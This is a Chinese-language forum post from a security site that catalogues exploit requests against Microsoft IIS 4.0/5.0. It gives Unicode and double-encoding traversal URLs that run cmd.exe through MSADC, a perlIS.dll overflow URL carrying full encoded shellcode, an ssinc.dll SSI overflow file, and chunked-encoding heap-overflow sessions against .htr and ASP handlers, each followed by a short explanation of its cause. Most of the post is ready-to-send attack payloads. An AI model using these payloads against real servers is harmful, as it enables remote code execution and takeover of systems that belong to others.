/msadc/..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir
/MSADC/..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir
/msadc/..%u005c../winnt/system32/cmd.exe?/c+dir
/msadc/check.bat/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir
/msadc/check.bat/..%u002f../..%u002fwinnt/system32/cmd.exe?/c+dir
/msadc/check.bat/..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c+dir
/msadc/check.bat/..%u005c../..%u005cwinnt/system32/cmd.exe?/c+dir
/_vit_bin/msadc/..%252f../..%252f../..%252f../winnt/system32/cmd.exe?/c+dir+c:\
/_vti_bin/msadc/..%e0%80%af../..%e0%80%af../..%e0%80%af../..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir+c:\
/_vti_bin/msadc/..%e0%80%af..%e0%80%af..%e0%80%af..%e0%80%af..%e0%80%af..%e0%80%af../winnt/system32/cmd.exe?/c+dir+c:\
/_vti_bin/msadc/..%c1%1c../..%c1%1c../..%c1%1c../..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\
/msadc/sensepost.exe?/c+dir
/msadc/cmd1.exe?/c+dir
/msadc/cmd.exe?/c+dir
/msadc/samples/selector/showcode.asp
POST /msadc/msadcs.dll/AdvancedDataFactory.Query


ActivePerl.dll漏洞
1、 请求方式:
GET
2、 url:
/cgi-bin/9090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090\xeb\x06\x33\x45\xaa\x77\x90\x83\xeb\x7e\x90\x83\xeb\x7e\x90\x83\xeb\x7e\x90\x83\xeb\x7e\x90\x83\xeb\x7e\x90\x83\xeb\x7e\x90\x83\xeb\x50\x90\x83\xeb\x50\x90\x8b\xe3\x90\x90\x90\x90\x90\x58\x83\xc0\x64\x90\x8b\xe0\x90\x90\x90\x90\x90\x58\x50\xc3.pl?9090\x90\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90\x90\x8b\xc5\x33\xc9\x66\xb9\x10\x03\x50\x80\x30\x97\x40\xe2\xfa\x7e\x8e\x95\x97\x97\xcd\x1c\x4d\x14\x7c\x90\xfd\x68\xc4\xf3\x36\x97\x97\x97\x97\xc7\xf3\x1e\xb2\x97\x97\x97\x97\xa4\x4c\x2c\x97\x97\x77\xe0\x7f\x4b\x96\x97\x97\x16\x6c\x97\x97\x68\x28\x98\x14\x59\x96\x97\x97\x16\x54\x97\x97\x96\x97\xf1\x16\xac\xda\xcd\xe2\x70\xa4\x57\x1c\xd4\xab\x94\x54\xf1\x16\xaf\xc7\xd2\xe2\x4e\x14\x57\xef\x1c\xa7\x94\x64\x1c\xd9\x9b\x94\x5c\x16\xae\xdc\xd2\xc5\xd9\xe2\x52\x16\xee\x93\xd2\xdb\xa4\xa5\xe2\x2b\xa4\x68\x1c\xd1\xb7\x94\x54\x1c\x5c\x94\x9f\x16\xae\xd0\xf2\xe3\xc7\xe2\x9e\x16\xee\x93\xe5\xf8\xf4\xd6\xe3\x91\xd0\x14\x57\x93\x7c\x72\x94\x68\x94\x6c\x1c\xc1\xb3\x94\x6d\xa4\x45\xf1\x1c\x80\x1c\x6d\x1c\xd1\x87\xdf\x94\x6f\xa4\x5e\x1c\x58\x94\x5e\x94\x5e\x94\xd9\x8b\x94\x5c\x1c\xae\x94\x6c\x7e\xfe\x96\x97\x97\xc9\x10\x60\x1c\x40\xa4\x57\x60\x47\x1c\x5f\x65\x38\x1e\xa5\x1a\xd5\x9f\xc5\xc7\xc4\x68\x85\xcd\x1e\xd5\x93\x1a\xe5\x82\xc5\xc1\x68\xc5\x93\xcd\xa4\x57\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x13\x5e\xe3\x9e\xc5\xc1\xc4\x68\x85\xcd\x3c\x75\x7f\xd1\xc5\xc1\x68\xc5\x93\xcd\x1c\x4f\xa4\x57\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x17\x6e\x95\xe3\x9e\xc5\xc1\xc4\x68\x85\xcd\x3c\x75\x70\xa4\x57\xc7\xd7\xc7\xd7\xc7\x68\xc0\x7f\x04\xfd\x87\xc1\xc4\x68\xc0\x7b\xfd\x95\xc4\x68\xc0\x67\xa4\x57\xc0\xc7\x27\x9b\x3c\xcf\x3c\xd7\x3c\xc8\xdf\xc7\xc0\xc1\x3a\xc1\x68\xc0\x57\xdf\xc7\xc0\x3a\xc1\x3a\xc1\x68\xc0\x57\xdf\x27\xd3\x1e\x90\xc0\x68\xc0\x53\xa4\x57\x1c\xd1\x63\x1e\xd0\xab\x1e\xd0\xd7\x1c\x91\x1e\xd0\xaf\xa4\x57\xf1\x2f\x96\x96\x1e\xd0\xbb\xc0\xc0\xa4\x57\xc7\xc7\xc7\xd7\xc7\xdf\xc7\xc7\x3a\xc1\xa4\x57\xc7\x68\xc0\x5f\x68\xe1\x67\x68\xc0\x5b\x68\xe1\x6b\x68\xc0\x5b\xdf\xc7\xc7\xc4\x68\xc0\x63\x1c\x4f\xa4\x57\x23\x93\xc7\x56\x7f\x93\xc7\x68\xc0\x43\x1c\x67\xa4\x57\x1c\x5f\x22\x93\xc7\xc7\xc0\xc6\xc1\x68\xe0\x3f\x68\xc0\x47\x14\xa8\x96\xeb\xb5\xa4\x57\xc7\xc0\x68\xa0\xc1\x68\xe0\x3f\x68\xc0\x4b\x9c\x57\xe3\xb8\xa4\x57\xc7\x68\xa0\xc1\xc4\x68\xc0\x6f\xfd\xc7\x68\xc0\x77\x7c\x5f\xa4\x57\xc7\x23\x93\xc7\xc1\xc4\x68\xc0\x6b\xc0\xa4\x5e\xc6\xc7\xc1\x68\xe0\x3b\x68\xc0\x4f\xfd\xc7\x68\xc0\x77\x7c\x3d\xc7\x68\xc0\x73\x7c\x69\xcf\xc7\x1e\xd5\x65\x54\x1c\xd3\xb3\x9b\x92\x2f\x97\x97\x97\x50\x97\xef\xc1\xa3\x85\xa4\x57\x54\x7c\x7b\x7f\x75\x6a\x68\x68\x7f\x05\x69\x68\x68\xdc\xc1\x70\xe0\xb4\x17\x70\xe0\xdb\xf8\xf6\xf3\xdb\xfe\xf5\xe5\xf6\xe5\xee\xd6\x97\xdc\xd2\xc5\xd9\xd2\xdb\xa4\xa5\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xfe\xe7\xf2\x97\xd0\xf2\xe3\xc4\xe3\xf6\xe5\xe3\xe2\xe7\xde\xf9\xf1\xf8\xd6\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xe5\xf8\xf4\xf2\xe4\xe4\xd6\x97\xd4\xfb\xf8\xe4\xf2\xdf\xf6\xf9\xf3\xfb\xf2\x97\xc7\xf2\xf2\xfc\xd9\xf6\xfa\xf2\xf3\xc7\xfe\xe7\xf2\x97\xd0\xfb\xf8\xf5\xf6\xfb\xd6\xfb\xfb\xf8\xf4\x97\xc0\xe5\xfe\xe3\xf2\xd1\xfe\xfb\xf2\x97\xc5\xf2\xf6\xf3\xd1\xfe\xfb\xf2\x97\xc4\xfb\xf2\xf2\xe7\x97\xd2\xef\xfe\xe3\xc7\xe5\xf8\xf4\xf2\xe4\xe4\x97\x97\xc0\xc4\xd8\xd4\xdc\xa4\xa5\x97\xe4\xf8\xf4\xfc\xf2\xe3\x97\xf5\xfe\xf9\xf3\x97\xfb\xfe\xe4\xe3\xf2\xf9\x97\xf6\xf4\xf4\xf2\xe7\xe3\x97\xe4\xf2\xf9\xf3\x97\xe5\xf2\xf4\xe1\x97\x95\x97\x89\xfb\x97\x97\x97\x97\x97\x97\x97\x97\x97\x97\x97\x97\xf4\xfa\xf3\xb9\xf2\xef\xf2\x97\x68\x68\x68\x68
注:90是ASCII码,sp0补丁。
以上的代码中,506 bytes之后是shell code ,400 byets――402 bytes是跳转代码 \xeb\x06
3、 http协议版本:
HTTP/1.0
4、 shellcode中的与跳转有关的汇编程序代码:
/*
jumptoECB->QUERY_STRING
subebx,394h
movesp,ebx
popeax
addeax,64h
movesp,eax
popeax
pusheax
ret
*/
5、 溢出原因:
ActivePerl所带的一个动态链接库(perlIS.dll)在处理超长文件名时存在一个缓冲区溢出漏洞,攻击者可能利用这个漏洞远程执行任意代码。ActivePerl是ActiveState公司开发的一套二进制perl软件包,可应用于Linux,Solaris,Windows系统下。ActivePerlforwindows包含一个名为perlIS.dll的动态链接库文件,它是一个ISAPI扩展,为微软IIS服务器提供了一个高性能的perl接口。PerlIS可以对用户发送的perl脚本请求进行处理,然而,它没有正确检查用户提交的URL请求的长度。如果用户发送一个超长的URL请求,PerlIS会调用strcpy()将其拷贝到一个堆栈中的缓冲区里,这会触发一个缓冲区溢出。攻击者可以覆盖堆栈中的一些敏感数据,例如返回地址等等,如果精心构造URL请求的内容,攻击者就可以远程执行任意代码。成功地利用这个漏洞,在IIS5.0中,攻击者可以获取IWAM_machinename用户的权限。在IIS4.0中,攻击者可以获取LocalSYSTEM权限。
6、 溢出的域:
文件域,/cgi-bin/后的文件域溢出,发生在400 bytes 。
7、受影响系统:
MicrosoftIIS4.0
MicrosoftIIS5.0


ssinc.dll漏洞
1、 请求方式:
GET
2、 url:
/createfolder/test.shtml
注:test.shtml内容:
<!--#includefile=“AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA”
其中A的个数要>2049个

3、 http协议版本:
HTTP/1.0

注:返回叶面为空表示溢出成功。
4、 溢出原因:
微软IIS支持SSI(Server Side Include)功能。ssinc.dll就是一个SSI解释器。默认情况下,扩展名 .stm、.shtm 和 .shtml 被映射到解释程序(Ssinc.dll)。SSI支持"#include"指令,通常的使用方式是:

<!--#include file="文件名"-->

ssinc.dll在处理"#include"指令时,会将shtml文件所在的目录名加在包含文件的前面形成一个新的字符串。
例如:
创建一个"test.shtml"文件,将其保存在"wwwroot/abcd/"目录下。"test.shtml"的内容如下:<!--#include file="ABCD"-->
那么生成的新字符串就是"/abcd/ABCD"。ssinc.dll会将这个字符串拷贝到一个0x804(2052)字节长的缓冲区去。ssinc.dll在从test.shtml中获取包含文件名时,检查了包含文件名的长度,如果发现超过0x801字节,就截断为0x801字节,并在末尾添加'\0'。这样,包含文件的名字最长为0x802(2550)字节,包括最后的'\0'。但是,它没有检查在增加了当前目录名后的新字符串的长度。因此,如果将包含文件名设置成一个超过0x801字节的字符串,并将"test.shtml"放到一个长度为9字节的目录中,那么新字符串的总长度就会是9 + 2(两个'/'字符) + 0x801 = 0x80C (2060)字节。这将触发一个缓冲区溢出,完全覆盖堆栈中保存的EIP(末尾的'\0'将会覆盖第一个形参)。这时ssinc.dll运行在SYSTEM环境下,如果攻击者小心地构造溢出数据,就可能改变程序流程,并以SYSTEM权限执行任意代码。
攻击者要进行攻击需要有两个条件:
(1) 击者需要有权限在web目录下创建文件或目录。
(2) 攻击者需要能够通过web服务访问创建的文件。
4、 溢出的域:
文件域文件的内容溢出,即test.shtml中的内容。

.htr漏洞
(一)
第一步:
1、 请求方式:
POST
2、 url:
/EEYE.htr
3、 http协议版本:
HTTP/1.1
4、 HOST:
*.*.*.* (任意ip)
5、 Transfer-Encoding:chunked
6、
7、 20
8、 AAAAAAAAAAAAAAAAAAAAAAAEEYE2002
9、 0
10、〈回车〉
第二步:
1、 请求方式:
GET
2、 url:
/NULL.htr?$As=X
3、 http协议版本:
HTTP/1.1
4、 Accept:
*/*
5、 Host:
AskTack
6、 Content-Type:
Test.html
$A = "A" * 500
7、溢出分析:
引用www.eeye.com :
”The following example will show the vulnerable condition. The dllhost.exe child process will silently die because the developers have replaced the default exception filter. So if you want to examine this closer, load a debugger up on the dllhost child process before you send this example session over the wire.”
服务器在接受到这个把的时候,dllhost.exe子进程由于开发者替换了默认的过滤器而死掉。
8、溢出的域:
http请求的文件域后的扩展,$A
9、受影响的系统:
Microsoft Windows NT 4.0 Internet Information Services 4.0
Microsoft Windows 2000 Internet Information Services 5.0


(三)
1、 请求方式:
GET
2、 url:
/scripts/test.pl%3f+.htr
3、 http协议版本:
HTTP/1.1
4、 溢出原因:
Microsoft IIS(Internet Information Server)是MS Windows系统默认自带的Web服务器软件。IIS 4.0/5.0对.htr文件的映射请求处理存在堆溢出漏洞,远程攻击者可以利用此漏洞得到主机本地普通用户访问权限。默认安装的IIS提供对以.htr为后缀的文件请求的支持,一般来说 .htr 文件用来设置基于Web的口令,文件请求被映射到一个ISAPI扩展,ISM.DLL程序来处理。当请求被传递给ISM.DLL ISAPI过滤器来处理时,一个经过精心构造的特别的请求会导致处理过程中发生堆溢出问题。这是由于ISM.DLL分配的一个缓冲区比实际接受的用户输入数据长度小一个字节,因此导致一个单字节溢出的发生。如果攻击者使用随机数据,可能使IIS服务崩溃(IIS 5.0会自动重启)。如果精心构造发送的数据,也可能改变程序执行流程执行任意代码。成功地利用这个漏洞,对于IIS 4.0,远程攻击者可以获取SYSTEM权限;对于IIS 5.0攻击者可以获取IWAM_computername用户的权限。
注:根据微软的公告,只有在某些很偶然的情况下才有可能允许成功地执行攻击者提交地代码。

IIS.asp漏洞

1、 请求方式:
POST
2、 url:
/iisstart.asp
3、 http协议版本:
HTTP/1.1
4、 Accepts:
*/*
5、 HOST:
*.*.*.* (任意ip)
6、 Content-Type:
Application/x-www-form-urlencoded
7、 Transfer-Encoding:
Chunked

8、 10
9、 PADPADPADPADPADP
10、 4
11、 DATA
12、 4
13、 DEST
14、 0
15、 <enter>
16、 <enter>

注:上面的会话导致从dllhost的子进程中执行默认意外处理模块,会弹出消息:

DLLHOST.EXE-Applicationerror
Theinstructionat0x77fcb397referencedmemoryat0x54534544

其中0x54534544代表“TSED”,在littleendian架构的机器上代表“DEST”。DLLHOST.EXE试图把“DATA”拷贝到“DEST”,因为0x54534544地址的内存不可写,发生访问错误,NTKernel中的结构化意外处理模块(structuredexceptionhandling)捕获了这个信号杀掉了dllhost.exe进程。
17、溢出原因:
IIS4.0/5.0ASP(ActiveServerPages)ISAPI过滤器存在远程缓冲区溢出漏洞,远程攻击者可以利用此漏洞得到主机本地普通用户访问权限。
默认安装的IIS4.0/5.0服务器加载了ASPISAPI过滤器,它在处理分块编码传送(chunkedencodingtransfer)机制的代码中存在一个缓冲区溢出漏洞。攻击者通过提交恶意分块编码的数据可以覆盖heap(堆)区的内存数据,使之以他指定的数据重写任意地址的4字节内存。例如,攻击者可以让dllhost.exe重写它可以访问的任意4字节的内存,包括程序函数指针、意外处理模块指针或其他任何可以用来控制程序执行流程的地址,从而改变程序执行流程,执行任意攻击者指定的代码。
如果攻击者使用随机数据,可能使IIS服务崩溃(IIS5.0会自动重启)。如果精心构造发送的数据,也可能允许攻击者执行任意代码。对于IIS4.0,远程攻击者可以获取SYSTEM权限;对于IIS5.0攻击者可以获取IWAM_computername用户的权限。
18、 溢出的域:
在HTTP消息头这个域,发生了溢出。

未经本人允许不得转载!转载请注明出处,作者,请保证内容的完整。
需转载请联系我:
qq: 123303895
email: beiwyq@163.com


地主 发表时间: 04/21 10:24

论坛: 菜鸟乐园

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号